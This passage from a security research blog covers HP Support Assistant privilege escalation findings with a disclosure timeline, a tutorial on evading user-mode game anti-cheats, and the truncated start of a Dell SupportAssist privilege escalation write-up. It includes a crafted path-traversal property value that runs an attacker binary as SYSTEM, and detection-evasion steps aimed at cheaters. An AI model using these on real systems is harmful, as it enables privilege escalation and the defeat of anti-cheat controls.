vulnerabilities.</p><h3 id="local-privilege-escalation-2-1">Local Privilege Escalation #2</h3><p>Looking over the new <code>InstallSoftpaqsSilently</code> method, the primary changes are:</p><ol><li>The untrusted <code>ActionItemBase</code> specifies the temporary directory.</li><li>There is more insecure path concatenation (path1 + path2 versus C#&#x2019;s <a href="https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine">Path.Combine</a>).</li><li>There is more verification on the path specified by the temporary directory and executable name (i.e checking for relative path escapes, NTFS reparse points, rooted path, etc).</li></ol><p>The core problems that are persistent even after patching:</p><ol><li>The path that is executed by the method still utilizes unvalidated untrusted client input. Specifically, the method splits the item property <code>SilentInstallString</code> by double quote and utilizes values from that array for the name of the binary. This binary name is not validated besides a simple check to see if the file exists. No guarantees it isn&#x2019;t an attacker&#x2019;s binary.</li><li>There is continued use of insecure coding practices involving paths. For example, HP consistently concatenates paths by using the string combination operator versus using a secure concatenation method such as <a href="https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine">Path.Combine</a>.</li></ol><p>In order to have a successful call to <code>InstallSoftpaqsSilently</code>, you must now meet these requirements:</p><ol><li>The file specified by the <code>TempDirectory</code> property + <code>ExecutableName</code> property must exist.</li><li>The file specified by <code>TempDirectory</code> property + <code>ExecutableName</code> property must be signed by HP.</li><li>The path specified by <code>TempDirectory</code> property + <code>ExecutableName</code> property must pass the <code>VerifyHPPath</code> requirements:<br>a.	The path cannot contain relative path escapes.<br>b.	The path must be a rooted path.<br>c.	The path must not be a junction point.<br>d.	The path must start with HP path.</li><li>The <code>SilentInstallString</code> property must contain the <code>SPName</code> property + <code>.exe</code>.</li><li>The directory name is the <code>TempDirectory</code> property + <code>swsetup\</code> + the <code>ExecutableName</code> property with <code>.exe</code> stripped.</li><li>The Executable Name is specified in the <code>SilentInstallString</code> property split by double quote. If the split has a size greater than 1, it will take the second element as EXE Name, else the first element.</li><li>The Executable Name must not contain <code>.exe</code> or <code>.msi</code>, otherwise, the Directory Name + <code>\</code> + the Executable Name must exist.</li><li>The function executes the binary specified at Directory Name + <code>\</code> + Executable Name.</li></ol><p>The core point of attack is outlined in step 6 and 7. We can control the Executable Name by formulating a malicious payload for the <code>SilentInstallString</code> item property that escapes a legitimate directory passed in the <code>TempDirectory</code> property into an attacker controlled directory.</p><p>For example, if we pass:</p><ol><li><code>C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\</code> for the <code>TempDirectory</code> property.</li><li><code>HPSF.exe</code> for the the <code>ExecutableName</code> property.</li><li><code>malware</code> for the <code>SPName</code> property.</li><li><code>&quot;..\..\..\..\..\Malware\malware.exe</code> (quote at beginning intentional) for the <code>SilentInstallString</code> property.</li></ol><p>The service will execute the binary at <code>C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\swsetup\HPSF\..\..\..\..\..\Malware\malware.exe</code> which ends up resolving to <code>C:\Malware\malware.exe</code> thus executing the attacker controlled binary as SYSTEM.</p><h3 id="local-privilege-escalation-3-1">Local Privilege Escalation #3</h3><p>The primary changes for the new <code>InstallSoftpaqsDirectly</code> method are:</p><ol><li>The untrusted <code>ActionItemBase</code> specifies the temporary directory.</li><li>Invalid binaries are no longer deleted.</li></ol><p>The only thing we need to change in our proof of concept is to provide our own <code>TempDirectory</code> path. That&#x2019;s&#x2026; it.</p><h3 id="local-privilege-escalation-4">Local Privilege Escalation #4</h3><p>For the new <code>DownloadSoftpaq</code> method, the primary changes are:</p><ol><li>The download URL cannot have query parameters.</li></ol><p>The core problems that are persistent even after patching:</p><ol><li>Insecure validation of the download URL.</li><li>Insecure validation of the downloaded binary.</li><li>Open Redirect bug on <code>ers.rssx.hp.com</code>.</li></ol><p>First of all, HP still only does a basic check on the hostname to ensure it ends with a whitelisted host, however, this does not address the core issue that this check in itself is insecure.</p><p>Simply checking hostname exposes attacks from Man-in-the-Middle attacks, other Open Redirect vulnerabilities, and virtual host based attacks (i.e a subdomain that redirects to 127.0.0.1).</p><p>For an unknown reason, HP still does not delete the binary downloaded if it does not have an HP signature because HP passes the constant <code>false</code> for the parameter that indicates whether or not to delete a bad binary.</p><p>At the end of the day, this is still a patched vulnerability since at this time you can&#x2019;t quite exploit it, but I wouldn&#x2019;t be surprised to see this exploited in the future.</p><h3 id="local-privilege-escalation-5">Local Privilege Escalation #5</h3><p>This vulnerability was completed untouched. Not much more to say about it.</p><h2 id="timeline">Timeline</h2><p>Here is a timeline of HP&apos;s response:</p><p>10/05/2019 - Initial report of vulnerabilities sent to HP.<br>10/08/2019 - HP PSIRT acknowledges receipt and creates a case.<br>12/19/2019 - HP PSIRT pushes an update and claims to have &quot;resolved the issues reported&quot;.<br>01/01/2020 - Updated report of unpatched vulnerabilities sent to HP.<br>01/06/2020 - HP PSIRT acknowledges receipt.<br>02/05/2020 - HP PSIRT schedules a new patch for the first week of March.<br>03/09/2020 - HP PSIRT pushes the scheduled patch to 03/21/2020 due to Novel Coronavirus complications.</p><h1 id="protecting-your-machine">Protecting your machine</h1><p>If you&apos;re wondering what you need to do to ensure your HP machine is safe from these vulnerabilities, it is critical to ensure that it is up to date or removed. By default, HP Support Assistant <em>does not</em> have automatic updating by default unless you explicitly opt-in (HP claims otherwise).</p><p>It is important to note that because HP has not patched three local privilege escalation vulnerabilities, even if you have the latest version of the software, you are still vulnerable unless you completely remove the agent from your machine (Option 1).</p><h2 id="option-1-uninstall">Option 1: Uninstall</h2><p>The best mitigation to protect against the attacks described in this article and future vulnerabilities is to remove the software entirely. This may not be an option for everyone, especially if you rely on the updating functionality the software provides, however, removing the software ensures that you&apos;re safe from any other vulnerabilities that may exist in the application.</p><p>For most Windows installations, you can use the &quot;<a href="https://support.microsoft.com/en-us/help/4028054/windows-10-repair-or-remove-programs">Add or remove programs</a>&quot; component of the Windows control panel to uninstall the service. There are two pieces of software to uninstall, one is called &quot;HP Support Assistant&quot; and the other is called &quot;HP Support Solutions Framework&quot;.</p><h2 id="option-2-update">Option 2: Update</h2><p>The next best option is to update the agent to the latest version. The latest update fixes several vulnerabilities discussed except for three local privilege escalation vulnerabilities.</p><p>There are two ways to update the application, the recommended method is by opening &quot;HP Support Assistant&quot; from the Start menu, click &quot;About&quot; in the top right, and pressing &quot;Check for latest version&quot;. Another method of updating is to install the latest version from HP&apos;s website <a href="https://www8.hp.com/us/en/campaigns/hpsupportassistant/hpsupport.html">here</a>.</p>]]></content:encoded></item><item><title><![CDATA[Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats]]></title><description><![CDATA[<p>The market for cheating in video games has grown year after year, incentivizing game developers to implement stronger anti-cheat solutions. A significant amount of game companies have taken a rather questionable route, implementing more and more invasive anti-cheat solutions in a desperate attempt to combat cheaters, still ending up with</p>]]></description><link>https://billdemirkapi.me/insecure-by-design-weaponizing-windows-against-usermode-anticheats/</link><guid isPermaLink="false">6027707bd8acfdb32a877089</guid><category><![CDATA[Insecure by Design]]></category><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Mon, 02 Dec 2019 15:05:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/DNF8l7f-1.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/02/DNF8l7f-1.png" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats"><p>The market for cheating in video games has grown year after year, incentivizing game developers to implement stronger anti-cheat solutions. A significant amount of game companies have taken a rather questionable route, implementing more and more invasive anti-cheat solutions in a desperate attempt to combat cheaters, still ending up with a game that has a large cheating community. This choice is understandable. A significant amount of cheaters have now moved into the kernel realm, challenging anti-cheat developers to now design mitigations that combat an attacker who shares the same privilege level. However, not all game companies have followed this invasive path, some opting to use anti-cheats that reside in the <em>user-mode</em> realm.</p><p>I&apos;ve seen a significant amount of cheaters approach user-mode anti-cheats the same way they would approach a kernel anti-cheat, often unknowingly making the assumption that the anti-cheat knows everything, and thus approaching them in an ineffective manner. In this article, we&apos;ll look at how to leverage our escalated privileges, as a cheater, to attack the insecure design these unprivileged solutions are built on.</p><h2 id="introduction">Introduction</h2><p>When attacking anything technical, one of the first steps I take is to try and put myself in the mind of a defender. For example, when I reverse engineer software for security vulnerabilities, putting myself in the shoes of the developer allows me to better understand the design of the application. Understanding the design behind the logic is critical for vulnerability research, as this often reveals points of weakness that deserve a dedicated look over. When it comes to anti-cheats, the first step I believe any attacker should take is understanding the scope of the application.</p><p>What I mean by scope is posing the question, <em>What can the anti-cheat &quot;see&quot; on the machine?</em> This question is incredibly important in researching these anti-cheats, because you may find blind spots on a purely design level. For user-mode anti-cheats, because they live in an unprivileged context, they&apos;re unable to access much and must be creative while developing detection vectors. Let&apos;s take a look at what access unprivileged anti-cheats truly have and how we can mitigate against it.</p><h2 id="investigating-detection-vectors">Investigating Detection Vectors</h2><h3 id="the-filesystem">The Filesystem</h3><p>Most access in Windows is restricted by the use of security descriptors, which dictate who has permissions on an object and how to audit the usage of the object.</p><p>For example, if a file or directory has the Users group in its security descriptor, i.e</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/5kA2q3f.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><p>That means pretty much any user on the machine can can access this file or directory. When anti-cheats are in an unprivileged context, they&apos;re strictly limited in what they can access on the filesystem, because they&apos;re unable to ignore these security descriptors. As a cheater, this provides the unique opportunity to abuse these security descriptors against them to stay under their radars.</p><p>Filesystem access is a large part of these anti-cheats because if you run a program with elevated privileges, the unprivileged anti-cheat cannot open a handle to that process. This is due to the difference between their elevation levels, but not being able to open the process is far from being game over. The first method anti-cheats can use to &quot;access&quot; the process is by just opening the process&apos;s file. More often than not, the security descriptor for a significant amount of files will be accessible from an unprivileged context.</p><p>For example, typically anything in the &quot;Program Files&quot; directory in the C: drive has a security descriptor that permits for READ and EXECUTE access to the Users group or allows the Administrators group FULL CONTROL on the directory. Since the Users group is permitted access unprivileged processes are able to access files in these directories. This is relevant for when you launch a cheating program such as Cheat Engine, one detection vector they have is just reading in the file of the process and checking for cheating related signatures.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/O7LfoOt.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><h3 id="nt-object-manager-leaks">NT Object Manager Leaks</h3><p>Filesystem access is not the only trick user-mode anti-cheats have. The next relevant access these anti-cheats have is a significant amount of query access to the current session. In Windows, sessions are what separates active connections to the machine. For example, you being logged into the machine is a session and someone connected to another user via a Remote Desktop will have their own session too. Unprivileged anti-cheats can see almost everything going on in the session that the anti-cheat runs in. This significant access allows anti-cheats to develop strong detection vectors for a lot of different cheats.</p><p>Let&apos;s see what unprivileged processes can really see. One neat way to view what&apos;s going on in your session is by the use of the <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/winobj">WinObj</a> Sysinternals utility. WinObj allows you to see a plethora of information about the machine without any special privileges.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/pJDBLhh.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><p>WinObj can be run with or without Administrator privileges, however, I suggest using Administrator privileges during investigation because sometimes you cannot &quot;list&quot; one of the directories above, but you can &quot;list&quot; sub-folders. For example, even for your own session, you cannot &quot;list&quot; the directory containing the BaseNamedObjects, but you can access it directly using the full path <code>\Session\[session #]\BaseNamedObjects</code>.</p><p>User-mode anti-cheat developers hunt for information leaks in these directories because the information leaks can be significantly subtle. For example, a significant amount of tools in kernel expose a device for IOCTL communication. Cheat Engine&apos;s kernel driver &quot;DBVM&quot; is an example of a more well-known issue.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/0lbvmj0.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><p>Since by default Everyone can access the Device directory, they can simply check if any devices have a blacklisted name. More subtle leaks happen as well. For example, IDA Pro uses a mutex with a unique name, making it simple to detect when the current session has IDA Pro running.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/qKGfneB.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><h3 id="window-enumeration">Window Enumeration</h3><p>A classic detection vector for all kinds of anti-cheats is the anti-cheat enumerating windows for certain characteristics. Maybe it&apos;s a transparent window that&apos;s always the top window, or maybe it&apos;s a window with a naughty name. Windows provide for a unique heuristic detection mechanism given that cheats often have some sort of GUI component.</p><p>To investigate these leaks, I used <a href="https://processhacker.sourceforge.io/">Process Hacker</a>&apos;s &quot;Windows&quot; tab that shows what windows a process has associated with it. For example, coming back to the Cheat Engine example, there are plenty of windows anti-cheats can look for.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/0PKkcNF.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><p>User-mode anti-cheats can enumerate windows via the use of <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows">EnumWindows</a> API (or the API that EnumWindows calls) which allow them to enumerate every window in the current session. There can be many things anti-cheats look for in windows, whether that be the class, text, the process associated with the window, etc.</p><h3 id="ntquerysysteminformation">NtQuerySystemInformation</h3><p>The next most lethal tool in the arsenal of these anti-cheats is <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/query.htm">NtQuerySystemInformation</a>. This API allows even unprivileged processes to query a significant amount of information about what&apos;s going on in your computer.</p><p>There&apos;s too much data provided to cover all of it, but let&apos;s see some of the highlights of NtQuerySystemInformation.</p><ol><li>NtQuerySystemInformation with the class <code>SystemProcessInformation</code> provides a <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/process.htm">SYSTEM_PROCESS_INFORMATION</a> structure, giving a variety amount of info about every process.</li><li>NtQuerySystemInformation with the class <code>SystemModuleInformation</code> provides a <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/rtl/ldrreloc/process_module_information.htm">RTL_PROCESS_MODULE_INFORMATION</a> structure, giving a variety amount of info about every loaded driver.</li><li>NtQuerySystemInformation with the class <code>SystemHandleInformation</code> provides a <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle.htm">SYSTEM_HANDLE_INFORMATION</a> structure, giving a list of every open handle in the system.</li><li>NtQuerySystemInformation with the class <code>SystemKernelDebuggerInformation</code> provides a <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/kernel_debugger.htm">SYSTEM_KERNEL_DEBUGGER_INFORMATION</a> structure, which tells the caller whether or not a kernel debugger is loaded (i.e WinDbg KD).</li><li>NtQuerySystemInformation with the class <code>SystemHypervisorInformation</code> provides a <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/hypervisor_query.htm">SYSTEM_HYPERVISOR_QUERY_INFORMATION</a> structure, indicating whether or not a hypervisor is present.</li><li>NtQuerySystemInformation with the class <code>SystemCodeIntegrityPolicyInformation</code> provides a <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/codeintegrity.htm">SYSTEM_CODEINTEGRITY_INFORMATION</a> structure, indicating whether or not various code integrity options are enabled (i.e Test Signing, Debug Mode, etc).</li></ol><p>This is only a small subset of what NtQuerySystemInformation exposes and it&apos;s important to remember these data sources while designing a secure cheat.</p><h2 id="circumventing-detection-vectors">Circumventing Detection Vectors</h2><p>Time for my favorite part. What&apos;s it worth if I just list all the possible ways for user-mode anti-cheats to detect you, without providing any solutions? In this section, we&apos;ll look over the detection vectors we mentioned above and see different ways to mitigate against them. First, let&apos;s summarize what we found.</p><ol><li>User-mode anti-cheats can use the filesystem to get a wide variety of access, primarily to access processes that are inaccessible via conventional methods (i.e OpenProcess).</li><li>User-mode anti-cheats can use a variety of objects Windows exposes to get an insight into what is running in the current session and machine. Often times there may be hard to track information leaks that anti-cheats can use to their advantage, primarily because unprivileged processes have a lot of query power.</li><li>User-mode anti-cheats can enumerate the windows of the current session to detect and flag windows that match the attributes of blacklisted applications.</li><li>User-mode anti-cheats can utilize the enormous amount of data the NtQuerySystemInformation API provides to peer into what&apos;s going on in the system.</li></ol><h3 id="circumventing-filesystem-detection-vectors">Circumventing Filesystem Detection Vectors</h3><p>To restate the investigation section regarding filesystems, we found that user-mode anti-cheats could utilize the filesystem to get access they once did not have before. How can an attacker evade filesystem based detection routines? By abusing security descriptors.</p><p>Security descriptors are what truly dictates who has access to an object, and in the filesystem this becomes especially important in regards to who can read a file. If the user-mode anti-cheat does not have permission to read an object based on its security descriptors, then they cannot read that file. What I mean is, if you run a process as Administrator, preventing the anti-cheat from opening the process and then you remove access to the file, how can the anti-cheat read the file? This method of abusing security descriptors would allow an attacker to evade detections that involve opening processes through the filesystem.</p><p>You may feel wary when thinking about restricting unprivileged access to your process, but there are many subtle ways to achieve the same result. Instead of directly setting the security descriptor of the file or folder, why not find existing folders that have restricted security descriptors?</p><p>For example, the directory <code>C:\Windows\ModemLogs</code> already prevents unprivileged access.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/SfBoYaS.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><p>The directory by default disallows unprivileged applications from accessing it, requiring at least Administrator privileges to access it. What if you put your naughty binary in here?</p><p>Another trick to evade information leaks in places such as the Device directory or BaseNamedObjects directory is to abuse their security descriptors to block access to the anti-cheat. I strongly advise that you utilize a new sandbox account, however, you can set the permissions of directories such as the Device directory to <strong>deny</strong> access to certain security principles.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/DNF8l7f.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><p>Using security descriptors, we can block access to these directories to prevent anti-cheats from traversing them. All we need to do in the example above is run the game as this new user and they will not have access to the Device directory. Since security descriptors control a significant amount of access in Windows, it&apos;s important to understand how we can leverage them to cut off anti-cheats from crucial data sources.</p><p>The solution of abusing security descriptors isn&apos;t perfect, but the point I&apos;m trying to make is that there is a lot of room for becoming undetected. Given that most anti-cheats have to deal with a mountain full of compatibility issues, it&apos;s unlikely that most abuse would be detected.</p><h3 id="circumventing-object-detection-and-window-detection">Circumventing Object Detection and Window Detection</h3><p>I decided to include both Object and Window detection in this section because the circumvention can overlap. Starting with Object detection, especially when dealing with tools that you didn&apos;t create, understanding the information leaks a program has is the key to evading detection.</p><p>The example brought up in investigation was the Cheat Engine driver&apos;s device name and IDA&apos;s mutex. If you&apos;re using someone elses software, it&apos;s very important that you look for information leaks, primarily because they may not be designed with preventing information leaks in mind.</p><p>For example, I was able to make <a href="https://github.com/mrexodia/TitanHide">TitanHide</a> undetected by several user-mode anti-cheat platforms by:</p><ol><li>Utilizing the previous filesystem trick to prevent access to the driver file.</li><li>Changing the pipe name of TitanHide.</li><li>Changing the log output of TitanHide.</li></ol><p>These steps are simple and not difficult to conceptualize. Read through the source code, understand detection surface, and harden these surfaces. It can be as simple as changing a few names to become undetected.</p><p>When creating your own software that has the goal of combating user-mode anti-cheats, information leaks should be a key step when designing the application. Understanding the internals of Windows can help a significant amount, because you can better understand different types of leaks that can occur.</p><p>Transitioning to a generic circumvention for both object detection and window detection is through the abuse of multiple sessions. The mentioned EnumWindows API can only enumerate windows <strong>in the current session</strong>. Unprivileged processes from one session <strong>can&apos;t access another session&apos;s objects</strong>. How do you use multiple sessions? There are many ways, but here&apos;s the trick I used to bypass a significant amount of user-mode anti-cheats.</p><ol><li>I created a new user account.</li><li>I set the security descriptor of my naughty tools to be inaccessible by an unprivileged context.</li><li>I ran any of my naughty tools by switching users and running it as that user.</li></ol><p>Those three simple steps are what allowed me to use even the most common utilities such as Cheat Engine against some of the top user-mode anti-cheats. Unprivileged processes <strong>cannot access the processes of another user</strong> and they <strong>cannot enumerate any objects (including windows) of another session</strong>. By switching users, we&apos;re entering another session, significantly cutting off the visibility anti-cheats have.</p><p>A mentor of mine, <a href="https://twitter.com/aionescu">Alex Ionescu</a>, pointed out a different approach to preventing an unprivileged process from accessing windows in the current session. He suggested that you can put the game process into a job and then set the <code>JOB_OBJECT_UILIMIT_HANDLES</code> <a href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-jobobject_basic_ui_restrictions">UI restriction</a>. This would restrict any processes in the job from accessing &quot;USER&quot; handles of processes outside of the job, meaning that the user-mode anti-cheat could not access windows in the same session. The drawback of this method is that the anti-cheat could detect this restriction and could choose to crash/flag you. The safest method is generally not touching the process itself and instead evading detection using generic methods (i.e switching sessions).</p><h3 id="circumventing-ntquerysysteminformation">Circumventing NtQuerySystemInformation</h3><p>Unlike the previous circumvention methods, evading NtQuerySystemInformation is not as easy. In my opinion, the safest way to evade detection routines that utilize NtQuerySystemInformation is to look at the different information classes that may impact you and ensure you do not have any unique information leaks through those classes.</p><p>Although NtQuerySystemInformation does give a significant amount of access, it&apos;s important to note that the data returned is often not detailed enough to be a significant threat to cheaters.</p><p>If you would like to restrict user-mode anti-cheat access to the API, there is a solution. NtQuerySystemInformation respects the integrity level of the calling process and significantly limits access to <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/restricted_callers.htm">Restricted Callers</a>. These callers are primarily those who have a token below the medium integrity level. This sandboxing can allow us to limit a significant amount of access to the user-mode anti-cheat, but with the cost of a potential detection vector. The anti-cheat could choose to crash if its ran under a medium integrity level which would stop this trick.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/7d2XNrn.png" class="kg-image" alt="Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats" loading="lazy"></figure><p>When at a low integrity level, processes:</p><ol><li>Cannot query handles.</li><li>Cannot query kernel modules.</li><li>Can only query other processes with equal or lower integrity levels.</li><li>Can still query if a kernel debugger is present.</li></ol><p>When testing with Process Hacker, I found some games with user-mode anti-cheats already crashed, perhaps because they received an ACCESS_DENIED error for one of their detection routines. An important reminder as with the previous job limit circumvention method. Since this trick does directly touch the process, it is possible anti-cheats can simply crash or flag you for setting their integrity level. Although I would strongly suggest you develop your cheats in a manner that does not allow for detection via NtQuerySystemInformation, this sandboxing trick is a way of suppressing some of the leaked data.</p><h3 id="test-signing">Test Signing</h3><p>If I haven&apos;t yet convinced you that user-mode anti-cheats are easy to circumvent, it gets better. On all of the user-mode anti-cheats I tested test signing was permitted, allowing for essentially any driver to be loaded, including ones you create.</p><p>If we go back to our scope, drivers really only have a few detection vectors:</p><ol><li>User-mode anti-cheats can utilize NtQuerySystemInformation to get basic information on kernel modules. Specifically, the anti-cheat can obtain the kernel base address, the module size, the path of the driver, and a few other properties. You can view exactly what&apos;s returned in the definition of <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/rtl/ldrreloc/process_module_information.htm">RTL_PROCESS_MODULE_INFORMATION</a>. This can be circumvented by basic security practices such as ensuring the data returned in RTL_PROCESS_MODULE_INFORMATION is unique or by modifying the anti-cheat&apos;s integrity level.</li><li>User-mode anti-cheats can query the filesystem to obtain the driver contents. This can be circumvented by changing the security descriptor of the driver.</li><li>User-mode anti-cheats can hunt for information leaks by your driver (such as using a blacklisted device name) to identify it. This can be circumvented by designing your driver to be secure by design (unlike many of these anti-cheats).</li></ol><p>Circumventing the above checks will result in an undetected kernel driver. The information leak prevention can be difficult, however, if you know what you&apos;re doing, you should understand what APIs may leak certain information accessible by these anti-cheats.</p><p>I hope I have taught you something new about combating user-mode anti-cheats and demystified their capabilities. User-mode anti-cheats come with the benefit of having a less invasive product that doesn&apos;t infringe on the privacy of players, but at the same time are incredibly weak and limited. They can appear scary at first, given their usual advantage in detecting &quot;internal&quot; cheaters, but we must realize how weak their position truly is. Unprivileged processes are as the name suggests unprivileged. Stop wasting time treating these products as any sort of challenge, use the operating system&apos;s security controls to your advantage. User-mode anti-cheats have already lost, quit acting like they&apos;re any stronger than they really are.</p>]]></content:encoded></item><item><title><![CDATA[Local Privilege Escalation on Dell machines running Windows]]></title><description><![CDATA[<p>In May, <a href="https://d4stiny.github.io/Remote-Code-Execution-on-most-Dell-computers/">I published a blog post</a> detailing a Remote Code Execution vulnerability in Dell SupportAssist. Since then, my research has continued and I have been finding more and more vulnerabilities. I strongly suggest that you read my previous blog post, not only because it provides a solid conceptual understanding</p>]]></description><link>https://billdemirkapi.me/local-privilege-escalation-on-most-dell-computers/</link><guid isPermaLink="false">60276fded8acfdb32a87707e</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Fri, 19 Jul 2019 14:30:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/dell_supportassist_home--1-.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/02/dell_supportassist_home--1-.png" alt="Local Privilege Escalation on Dell machines running Windows"><p>In May, <a href="https://d4stiny.github.io/Remote-Code-Execution-on-most-Dell-computers/">I published a blog post</a> detailing a Remote Code Execution vulnerability in Dell SupportAssist. Since then, my research has continued and I have been finding more and more vulnerabilities. I strongly suggest that you read my previous blog post, not only because it provides a solid conceptual understanding of Dell SupportAssist, but because it&apos;s a very interesting bug.</p><p>This blog post will cover my research into a Local Privilege Escalation vulnerability in <a href="https://www.dell.com/support/contents/us/en/04/article/product-support/self-support-knowledgebase/software-and-downloads/supportassist">Dell SupportAssist</a>. Dell SupportAssist is advertised to &quot;proactively check the health of your system&#x2019;s hardware and software&quot;. Unfortunately, Dell SupportAsssist comes pre-installed on most of all new Dell machines running Windows. If you&apos;re on Windows, never heard of this software, and have a Dell machine - chances are you have it installed.</p><h2 id="discovery">Discovery</h2><p>Amusingly enough, this bug was discovered while I was doing my write-up for the previous remote code execution vulnerability. For switching to previous versions of Dell SupportAssist, my method is to stop the service, terminate the process, replace the binary files with an older version, and finally start the service. Typically, I do this through a neat tool called <a href="https://processhacker.sourceforge.io/">Process Hacker</a>, which is a vamped up version of the built-in Windows Task Manager. When I started the Dell SupportAssist agent, I saw this strange child process.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/Uk8JI3e.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>I had never noticed this process before and instinctively I opened the process to see if I could find more information about it.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/7Xk8kAc.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>We straight away can tell that it&apos;s a .NET Application given the &quot;.NET assemblies&quot; and &quot;.NET performance&quot; tabs are populated. Browsing various sections of the process told us more about it. For example, the &quot;Token&quot; tab told us that this was an <em>unelevated</em> process running as the current user.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/0eRNqnO.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>While scrolling through the &quot;Handles&quot; tab, something popped out at me.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/DZP2yZS.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>For those who haven&apos;t used Process Hacker in the past, the cyan color indicates that a handle is marked as <em>inheritable</em>. There are plenty of processes that have inheritable handles, but the key part about this handle was the process name it was associated with. This was a THREAD handle to SupportAssist<em>Agent</em>.exe, not SupportAssist<em>AppWire</em>.exe. <code>SupportAssistAgent.exe</code> was the parent <code>SYSTEM</code> process that created SupportAssistAppWire.exe - a process running in an unelevated context. This wasn&apos;t that big of a deal either, a <code>SYSTEM</code> process may share a THREAD handle to a child process - even if it&apos;s unelevated, but with restrictive permissions such as <code>THREAD_SYNCHRONIZE</code>. What I saw next is where the problem was evident.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/S61dPq2.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>This was no restricted THREAD handle that only allowed for basic operations, this was straight up a <strong>FULL CONTROL</strong> thread handle to <code>SupportAssistAgent.exe</code>. Let me try to put this in perspective. An <em>unelevated</em> process has a FULL CONTROL handle to a thread in a process running as <code>SYSTEM</code>. See the issue?</p><p>Let&apos;s see what causes this and how we can exploit it.</p><h2 id="reversing">Reversing</h2><p>Every day, Dell SupportAssist runs a &quot;Daily Workflow Task&quot; that performs several actions typically to execute routine checks such as seeing if there is a new notification that needs to be displayed to the user. Specifically, the Daily Workflow Task will:</p><ul><li>Attempt to query the latest status of any cases you have open</li><li>Clean up the local database of unneeded entries</li><li>Clean up log files older than 30 days</li><li>Clean up reports older than 5 days (primarily logs sent to Dell)</li><li>Clean up analytic data</li><li>Registers your device with Dell</li><li>Upload all your log files if it&apos;s been 30-45 days</li><li>Upload any past failed upload attempts</li><li>If it&apos;s been 14 days since the Agent was first started, <strong>issue an &quot;Optimize System&quot; notification</strong>.</li></ul><p>The important thing to remember is that all of these checks were performed on a <em>daily</em> basis. For us, the last check is most relevant, and it&apos;s why Dell users will receive this &quot;Optimize System&quot; notification constantly.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/EBPWdwV.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>If you haven&apos;t run the PC Doctor optimization scan for over 14 days, you&apos;ll see this notification every day, how nice. After determining a notification should be created, the method <code>OptimizeSystemTakeOverNotification</code> will call the <code>PushNotification</code> method to issue an &quot;Optimize System&quot; notification.</p><p>For most versions of Windows 10, <code>PushNotification</code> will call a method called <code>LaunchUwpApp</code>. <code>LaunchUwpApp</code> takes the following steps:</p><ol><li>Grab the active console session ID. This value represents the session ID for the user that is currently logged in.</li><li>For every process named &quot;explorer&quot;, it will check if its session ID matches the active console session ID.</li><li>If the explorer process has the same session ID, the agent will duplicate the token of the process.</li><li>Finally, if the duplicated token is valid, the 